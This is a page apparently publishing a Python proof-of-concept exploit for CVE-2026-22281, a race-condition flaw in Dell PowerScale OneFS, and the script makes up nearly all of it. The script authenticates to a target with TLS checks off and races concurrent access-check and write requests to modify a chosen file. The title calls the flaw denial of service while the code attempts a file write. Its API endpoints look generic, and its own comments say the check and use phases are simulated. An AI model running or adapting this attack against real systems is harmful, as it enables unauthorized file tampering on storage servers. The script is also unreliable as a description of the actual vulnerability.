CVE-2026-22281: Dell PowerScale OneFS TOCTOU竞态条件拒绝服务漏洞

# CVE-2026-22281 PoC - TOCTOU Race Condition in Dell PowerScale OneFS # This PoC demonstrates the TOCTOU race condition vulnerability # Note: This is for educational/testing purposes only import concurrent.futures import requests import time import argparse def exploit_toctou(target_ip, username, password, target_file): """ Exploit TOCTOU vulnerability by creating a race condition between check and use operations. """ session = requests.Session() # Step 1: Initial authentication auth_payload = { 'username': username, 'password': password } try: # Authenticate to the target system auth_response = session.post( f'https://{target_ip}/api/v1/auth/login', json=auth_payload, verify=False, timeout=10 ) if auth_response.status_code != 200: print(f'[-] Authentication failed') return False print(f'[+] Authenticated successfully') # Step 2: Create race condition between check and use def check_operation(): """Simulates the check phase of TOCTOU""" response = session.get( f'https://{target_ip}/api/v1/fs/access-check', params={'path': target_file}, timeout=5 ) return response.status_code == 200 def use_operation(): """Simulates the use phase after check""" time.sleep(0.001) # Small delay to create race window response = session.post( f'https://{target_ip}/api/v1/fs/modify', json={'path': target_file, 'action': 'write'}, timeout=5 ) return response # Execute race condition attack with multiple threads with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # Submit check operations check_futures = [executor.submit(check_operation) for _ in range(5)] # Rapidly submit use operations to exploit race window time.sleep(0.0001) use_futures = [executor.submit(use_operation) for _ in range(5)] # Step 3: Check for successful exploitation for future in concurrent.futures.as_completed(use_futures): response = future.result() if response.status_code == 200: print(f'[+] Race condition exploited successfully') print(f'[+] Target file: {target_file}') return True print(f'[-] Exploitation attempt completed, check results manually') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-22281 TOCTOU PoC') parser.add_argument('--target', required=True, help='Target IP address') parser.add_argument('--username', required=True, help='Username') parser.add_argument('--password', required=True, help='Password') parser.add_argument('--file', default='/ifs/data/target.txt', help='Target file path') args = parser.parse_args() print(f'[*] Starting TOCTOU race condition attack against {args.target}') print(f'[*] Target file: {args.file}') exploit_toctou(args.target, args.username, args.password, args.file)